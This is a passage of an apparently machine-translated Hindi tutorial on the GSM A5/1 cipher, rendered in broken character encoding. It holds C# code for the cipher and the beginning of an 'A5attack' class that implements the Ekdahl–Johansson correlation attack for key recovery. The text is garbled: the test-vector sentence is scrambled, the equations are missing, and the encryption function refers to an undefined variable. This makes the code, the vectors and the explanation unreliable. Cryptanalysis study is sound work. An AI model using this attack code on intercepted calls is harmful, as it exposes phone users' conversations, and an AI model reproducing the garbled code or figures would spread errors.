0; byteIndex++; } } return arr2; } } } 

рдЖрдк рдХреБрдВрдЬреА {0x12, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF} рдФрд░ рдлрд╝реНрд░реЗрдо рдирдВрдмрд░ 0x134 рдХреЗ рд╕рд╛рде рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдХрд░ рдХреЛрдб рдХреА рд╢реБрджреНрдзрддрд╛ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ 114 рдмрд┐рдЯреНрд╕ рдХреЗ рджреЛ рдЙрддреНрдкрдиреНрди рдХреНрд░рдо рдХреНрд░рдорд╢рдГ {0x53, 0x4E, 0xAA, 0x58, 0x2F, 0xE8, 0x15, 0x1A, 0xB6, 0xE1, 0x85, 0x5A, 0x72, 0x8C, 0x8C рдФрд░ {0} рдФрд░ {0}} рдФрд░ {0x24} рдХреЗ рдмрд░рд╛рдмрд░ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред , 0xA3, 0x5D, 0x5F, 0xB6, 0x52, 0x6D, 0x32, 0xF9, 0x06, 0xDF, 0x1A, 0x10}ред
рдпрд╣ рдРрд╕рд╛ рдкрд░реАрдХреНрд╖рдг рдбреЗрдЯрд╛ рдерд╛ рдЬреЛ рдорд╛рд░реНрдХ рдмреНрд░рд┐рдХреЗрдиреЛ, рдЗрдпрд╛рди рдЧреЛрд▓реНрдбрдмрд░реНрдЧ рдФрд░ рдбреЗрд╡рд┐рдб рд╡реИрдЧрдирд░ рдиреЗ рд╕реА рдореЗрдВ рд▓рд┐рдЦреЗ рдПрд▓реНрдЧреЛрд░рд┐рдердо рдХреЗ рдЕрдкрдиреЗ рдкрд╣рд▓реЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдерд╛ред

рдЗрд╕ рд╡рд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди / рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдлрд╝рдВрдХреНрд╢рди рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛:
 private byte[] A5Encyptor(byte[] msg,byte[] key) { A5Enc a5 = new A5Enc(); int[] frame = new int[1]; bool[] resbits = new bool[msg.Count]; int framesCount = msg.Length / 228; if ((msgbits.Length % 228) != 0) framesCount++; for (int i = 0; i < framesCount; i++) { frame[0] = i; a5.KeySetup(key, frame); bool[] KeyStream = a5.A5(true); for (int j = 0; j < 228; j++) { resbits[i * 228 + j] = msgbits[i * 228 + j] ^ KeyStream[j]; } } return a5.FromBoolToByte(resbits, false); } 


рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЖрдЗрдП A5 / 1 рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВред
рдЖрдЬ, рдЬреАрдПрд╕рдПрдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдкрд░ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рд╕рдлрд▓ рд╣рдорд▓реЗ рдЬреНрдЮрд╛рдд рд╣реИрдВ рдФрд░ рдпреЗ рд╕рднреА рдЬреНрдЮрд╛рдд-рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВ, рдЕрд░реНрдерд╛рддреНред рдПрдХ рдХреБрдВрдЬреА рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝реНрд░реЗрдореЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдбреЗрдЯрд╛ рдХреЛ рднреА рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЗрди рдлрд╝реНрд░реЗрдореЛрдВ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ, рдЗрд╕ рддрд░рд╣ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╢рд╛рдирджрд╛рд░ рд▓рдЧ рд╕рдХрддреА рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЬреАрдПрд╕рдПрдо рдорд╛рдирдХ рдХреА рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг, рдЬрд┐рд╕рдореЗрдВ, рдЖрд╡рд╛рдЬ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо рд╕рдВрджреЗрд╢ рдкреНрд░реЗрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд╢реНрд░реЗрдгреА рд╕реЗ рдРрд╕реЗ рд╣рдорд▓реЗ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд╢реНрд░реЗрдгреА рдореЗрдВ рдЬрд╛рддреЗ рд╣реИрдВред рдЬреАрдПрд╕рдПрдо рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╕рдВрджреЗрд╢реЛрдВ рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдбреЗрдЯрд╛ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, 2010 рдореЗрдВ рдХрд╛рд░реНрд╕реНрдЯрди рдиреЛрд╣рд▓ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рд╡рд┐рдзрд┐ рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдбреЗрдЯрд╛ рдХреА рдЦреЛрдЬ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдХреЗрд╡рд▓ рдПрдХ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рддрдХ рдЗрдВрджреНрд░рдзрдиреБрд╖ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЫрдВрдЯрдиреА рд╣реЛрддреА рд╣реИ рдЬреЛ рдПрдХ рдЬреНрдЮрд╛рдд рд╕рд┐рд╕реНрдЯрдо рд╕рдВрджреЗрд╢ рдХреЗ рд▓рд┐рдП рд╡рд╛рдВрдЫрд┐рдд рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред ред

рднрд╛рдЧ 3: A5 / 1 рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдкрд░ рд╣рдорд▓рд╛


рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЗрдВрджреНрд░рдзрдиреБрд╖ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╢рд╛рд▓ рд╕рдВрд╕рд╛рдзрди рдирд╣реАрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо рддрдерд╛рдХрдерд┐рдд рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдЖрд╕рд╛рди рд╣рдорд▓реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВред "рд╕рд╣рд╕рдВрдмрдВрдз рд╣рдорд▓реЗред"
рд╣рдо рдЬрд┐рд╕ рд╣рдорд▓реЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдХрд╛ рд╡рд░реНрдгрди рдкрд╣рд▓реА рдмрд╛рд░ 2002 рдореЗрдВ рджреЛ рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ: рдкреИрдЯреНрд░рд┐рдХ рдПрдХреНрджрд▓ рдФрд░ рдереЙрдорд╕ рдЬреЛрд╣рд╛рдирд╕рди рдиреЗ рдХрд┐рдпрд╛ рдерд╛ред
рдЖрд░рдВрднреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рд╕реЗ, рд╣рдо рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕реНрдерд┐рддрд┐ рд╕рддреНрд░ рдХреБрдВрдЬреА K рдФрд░ рдлреНрд░реЗрдо рд╕рдВрдЦреНрдпрд╛ F n рдХрд╛ рдПрдХ рд░реИрдЦрд┐рдХ рдХрд╛рд░реНрдп рд╣реИред
рдпрд╣ рднреА рдЬрд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдЬрдирд░реЗрдЯрд░ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдмрд┐рдЯ рд╕рднреА рддреАрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ XOR-th рдЖрдЙрдЯрдкреБрдЯ рдмрд┐рдЯреНрд╕ рд╣реИрдВ, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рдореАрдХрд░рдг рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ:

( 1 )

рдЬрд╣рд╛рдБ рдореИрдВ рдХреБрдВрдЬреА K рдХреЗ рдмрд┐рдЯреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдЕрдиреБрдХреНрд░рдо рд╣реИред рд╡реЗ рдореБрдЭреЗ рдлреНрд░реЗрдо рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдмрд┐рдЯреНрд╕ рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ x-рдЖрдЙрдЯрдкреБрдЯ рдмрд┐рдЯ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЕрдиреБрдХреНрд░рдо рд╣реИрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрд░рдВрднреАрдХрд░рдг рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рд╕реЗ, рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдкрд╣рд▓реЗ 100 рдЪрдХреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо "рдирд┐рд╖реНрдХреНрд░рд┐рдп" рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рддред рдХреЛрдИ рдЖрдЙрдЯрдкреБрдЯ рдмрд┐рдЯ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИ, рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдкрд╣рд▓рд╛ рдмрд┐рдЯ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ 101 рд╡рд╛рдВ рдЙрддреНрдкрдиреНрди рдмрд┐рдЯ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд╣рдо рдпрд╣ рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЪрд░рдг рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрджрд▓рд╛рд╡ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ 3/4 рд╣реИ, рддреЛ рд╣рдо рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ 101 рдЪрд░рдгреЛрдВ рдХреЗ рдмрд╛рдж, рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрд┐рд▓реНрдХреБрд▓ 76 рдмрд╛рд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕рд▓рд┐рдП, рд╕реВрддреНрд░ (1) рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

( реи )

(2) рдХреЗ рджрд╛рдИрдВ рдУрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдирд╛ рд╣рдо рд╕реВрддреНрд░ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВ:

( рей )

рдХреНрдпреЛрдВрдХрд┐ рд╣рдо (3) рдХреЗ рджрд╛рдИрдВ рдУрд░ рдХреА рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдЬрд╛рдирддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдХреБрдВрдЬреА рдЕрдиреБрдХреНрд░рдо рдПрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ 1 рдмрд┐рдЯ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓рддреА рд╣реИ, рдЕрд░реНрдерд╛рддреН рдЖрд░рдВрднреАрдХрд░рдг рдХреЗ рдмрд╛рдж рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА 76 рд╡реАрдВ рд╕реНрдерд┐рддрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╕реНрдерд┐рддрд┐ 102 рдЖрд░ 1 рднреА 76 рдХреА рд╕реНрдерд┐рддрд┐ рдкрд░ рд╣реИ, рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдЖрд░ 2 рдФрд░ рдЖрд░ 3 77 рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЪрд▓реЗ рдЧрдП, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ 77 рд╡реЗрдВ рд╕реНрдерд╛рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓рддреА рд╣реИ, рдЖрджрд┐ред рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░, рд╣рдореЗрдВ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрд╡рд╕реНрдерд╛ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрд╣рд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 64 рдмрд┐рдЯреНрд╕ рдЦреЛрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдмреЗрд╢рдХ, рд╕реНрдерд┐рддрд┐ (76.76.76) рдмреЗрд╣рдж рдХрдо рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде 101 рдирдВрдмрд░ рдкрд░ рдареАрдХ рд╕реЗ рдЙрдарддреА рд╣реИ, рдФрд░ рдЕрдЧрд░ рд╣рдордиреЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рд╣рдореЗрдВ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдлреНрд░реЗрдо рдХреЛ рдЫрд╛рдБрдЯрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЬрдм рддрдХ рдХрд┐ рд╣рдо рдареАрдХ рдЙрд╕реА рддрд░рд╣ рди рдорд┐рд▓ рдЬрд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ 101 рдкрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рдж рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ 76 рдкрджреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреНрд░реЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдлрд╝реНрд░реЗрдо рдХреА рдЖрд╡рд╢реНрдпрдХ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХрдбрд╛рд╣рд▓ рдФрд░ рдЬреЛрд╣рд╛рдирд╕рди рдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдзрд┐ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ред

рдЙрд╕ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдШреБрдорд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рд╕реАрдПрд▓ 1 , рд╕реАрдПрд▓ 2 , рд╕реАрдПрд▓ 3 ) рдмрд╛рд░ред рдмрд╕ рдпрд╣ рдЬрд╛рдирдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдХрд┐ рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдкреНрд░рддреНрдпреЗрдХ рдлреНрд░реЗрдо рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдмрд┐рдЯреНрд╕ рдХреЗ рдЕрдВрддрд░рд╛рд▓ I = [100,140] рдкрд░ 76 рд╕реЗ 102 рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреНрд░рддреНрдпреЗрдХ рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП, рд╣рдо рд╕рдВрднрд╛рд╡рдирд╛ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдХреИрд╕реЗ

( рек )

рдЬрд╣рд╛рдБ



рдФрд░ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ (cl1, cl2, cl3) рдХреЗ рдкрджреЛрдВ рдХреЗ рджреНрд╡рд╛рд░рд╛ t-th рдмрд┐рдЯ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрд▓рдмреНрдз рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рд▓рдШреБрдЧрдгрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреЛ рдФрд╕рдд рдХрд░рддреЗ рд╣реИрдВ:

(5)ред

рдпрджрд┐ (5)> 0, рддреЛ s 1 (cl1) cls 2 (cl2) 3s 3 (cl3) = 0, рдЕрдиреНрдпрдерд╛ s 1 (cl1) (s 2 (cl2) (s 3 (cl3) - 1 ред

рд╣рдо рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдПрдХ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЗ рд░реВрдк рдореЗрдВ рд╣рдорд▓реЗ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреЗ рд╣реИрдВ:
  1. рдЕрдВрддрд░рд╛рд▓ рд╕реА рдЪреБрдиреЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, C = [79.86]
  2. рдЪрд░ рд╕реА 1 , рд╕реАрдПрд▓ 2 , рд╕реАрдПрд▓ 3 рдХреЛ рдЕрдВрддрд░рд╛рд▓ рд╕реА рд╕реЗ рд╕рднреА рдорд╛рдиреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдПрдВ, рдкреНрд░рддреНрдпреЗрдХ рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП рд╣рдо рдЧрдгрдирд╛ рдХрд░рддреЗ рд╣реИрдВ (4)
  3. рд╕рднреА рдкреНрд░рд╛рдкреНрдд рдореВрд▓реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЧрдгрдирд╛ рдХрд░рддреЗ рд╣реИрдВ (5)
  4. ╬Ф рдХреЗ рдореВрд▓реНрдп рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╣рдо s 1 (cl1) cls 2 (cl2) )s 3 (cl3) рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ

рдЗрд╕ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдлреЙрд░реНрдо 1 (79) тКХ 2 (79) =s 3 (79) = 0 рдХреЗ 8 рд╕рдореАрдХрд░рдг рд╣реЛрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ 8 рдЕрдЬреНрдЮрд╛рдд рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреЗред рд╕рд░рд▓ рдЧрдгрди рджреНрд╡рд╛рд░рд╛ рд╕рдореАрдХрд░рдгреЛрдВ рдХреА рдЗрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╣рд▓ рдХрд░рддреЗ рд╣реБрдП, рд╣рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдореВрд▓реНрдп рдХреЗ 8 рдмрд┐рдЯ рдорд┐рд▓рддреЗ рд╣реИрдВред
рдЕрдВрддрд░рд╛рд▓ рдХреЗ рд▓рд┐рдП рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рджреЛ рдмрд╛рд░ рджреЛрд╣рд░рд╛рддреЗ рд╣реБрдП [87, 94] рдФрд░ [95, 102] рд╣рдо рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрд╡рд╕реНрдерд╛ рдХреЗ 24 рдмрд┐рдЯреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕реЗ рдЕрдзрд┐рдХ рд╣реИред 101 рдмрд╛рд░ рд╡рд╛рдкрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рд╕реНрдХреНрд░реЙрд▓ рдХрд░рдирд╛, рд╣рдо рд░рдЬрд┐рд╕реНрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рдареАрдХ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рджреВрд╕рд░реЗ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдЪрд░рдг рдХреЗ рдмрд╛рдж рдерд╛, рдЕрд░реНрдерд╛рддред рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рдкреНрд░рдореБрдЦ рдмрд┐рдЯреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рджред рдФрд░ рдЕрдм рд╣рдо рд╕рдВрдкреВрд░реНрдг рдХреБрдВрдЬреА рдЕрдиреБрдХреНрд░рдо рдХреЛ рдПрдХ рдкреВрд░реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

C # рд╡рд░реНрдЧ A5attack
 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Collections; namespace A5project { class A5attack { private double[] factorials = new double[150]; // Pr(cl1,cl2,cl3   v) private double PinVth(int cl1, int cl2, int cl3, int v) { double y=0; double x = 0; double z = 0; double w = 0; if((v - (v - cl1) - (v - cl2) - (v - cl3))>=0) y=factorials[v - (v - cl1) - (v - cl2) - (v - cl3)]; else y=1; if ((v - cl1) >= 0) x = factorials[v - cl1]; else x = 1; if ((v - cl3) >= 0) z = factorials[v - cl3]; else z = 1; if ((v - cl2) >= 0) w = factorials[v - cl2]; else w = 1; double a = factorials[v] / (x * factorials[v - (v - cl1)]); double b = factorials[v - (v - cl1)] / (w * factorials[v - (v - cl1) - (v - cl2)]); double c = factorials[v - (v - cl1) - (v - cl2)] / (z * y); double d = Math.Pow(4, v); return (a * b * c) / d; } private double factorial(int x) { double result=1; for (int i = x; i > 1; i--) result = result * i; return result; } private bool[] reg = new bool[19]; private bool[] reg2 = new bool[22]; private bool[] reg3 = new bool[23]; // ,         public void KeySetup(int[] frame) { for (int i = 0; i < 19; i++) reg[i] = false; for (int i = 0; i < 22; i++) reg2[i] = false; for (int i = 0; i < 23; i++) reg3[i] = false; BitArray FrameBits = new BitArray(frame); for (int i = 0; i < 22; i++) { clockall(); reg[0] = reg[0] ^ FrameBits[i]; reg2[0] = reg2[0] ^ FrameBits[i]; reg3[0] = reg3[0] ^ FrameBits[i]; } } //     private void clock() { bool majority = ((reg[8] & reg2[10]) | (reg[8] & reg3[10]) | (reg2[10] & reg3[10])); if (reg[8] == majority) clockone(reg); if (reg2[10] == majority) clocktwo(reg2); if (reg3[10] == majority) clockthree(reg3); } private bool[] clockone(bool[] RegOne) { bool temp = false; for (int i = RegOne.Length - 1; i > 0; i--) { if (i == RegOne.Length - 1) temp = RegOne[13] ^ RegOne[16] ^ RegOne[17] ^ RegOne[18]; RegOne[i] = RegOne[i - 1]; if (i == 1) RegOne[0] = temp; } return RegOne; } private bool[] clocktwo(bool[] RegTwo) { bool temp = false; for (int i = RegTwo.Length - 1; i > 0; i--) { if (i == RegTwo.Length - 1) temp = RegTwo[20] ^ RegTwo[21]; RegTwo[i] = RegTwo[i - 1]; if (i == 1) RegTwo[0] = temp; } return RegTwo; } private bool[] clockthree(bool[] RegThree) { bool temp = false; for (int i = RegThree.Length - 1; i > 0; i--) { if (i == RegThree.Length - 1) temp = RegThree[7] ^ RegThree[20] ^ RegThree[21] ^ RegThree[22]; RegThree[i] = 